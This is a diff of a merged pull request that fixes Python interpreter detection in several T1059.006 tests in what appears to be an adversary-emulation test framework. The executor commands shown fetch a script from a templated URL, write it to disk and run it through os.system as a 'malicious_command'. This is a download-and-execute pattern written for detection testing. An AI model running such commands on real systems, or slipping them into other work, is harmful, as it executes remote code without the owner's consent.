Merge pull request #1660 from buzzdeee/fix_python_test

fix T1059.006 tests 1-3
This commit is contained in:
Carl
2021-11-15 09:55:54 -07:00
committed by GitHub
+6 -3
View File
@@ -27,12 +27,13 @@ atomic_tests:
dependencies:
- description: Verify if python is in the environment variable path and attempt to import requests library.
prereq_command: |
which_python=`which python`; python -V
which_python=$(which python || which python3 || which python2); $which_python -V
$which_python -c 'import requests' 2>/dev/null; echo $?
get_prereq_command: |
pip install requests
executor:
command: |
which_python=$(which python || which python3 || which python2)
$which_python -c 'import requests;import os;url = "#{script_url}";malicious_command = "#{executor} #{payload_file_name} #{script_args}";session = requests.session();source = session.get(url).content;fd = open("#{payload_file_name}", "wb+");fd.write(source);fd.close();os.system(malicious_command)'
name: sh
cleanup_command: |
@@ -68,12 +69,13 @@ atomic_tests:
- description: |
Requires Python
prereq_command: |
which_python=`which python`; python -V
which_python=$(which python || which python3 || which python2); $which_python -V
$which_python -c 'import requests' 2>/dev/null; echo $?
get_prereq_command: |
pip install requests
executor:
command: |
which_python=$(which python || which python3 || which python2)
echo 'import requests' > #{python_script_name}
echo 'import os' >> #{python_script_name}
echo 'url = "#{script_url}"' >> #{python_script_name}
@@ -124,12 +126,13 @@ atomic_tests:
- description: |
Requires Python
prereq_command: |
which_python=`which python`; python -V
which_python=$(which python || which python3 || which python2); $which_python -V
$which_python -c 'import requests' 2>/dev/null; echo $?
get_prereq_command: |
pip install requests
executor:
command: |
which_python=$(which python || which python3 || which python2)
echo 'import requests' > #{python_script_name}
echo 'import os' >> #{python_script_name}
echo 'url = "#{script_url}"' >> #{python_script_name}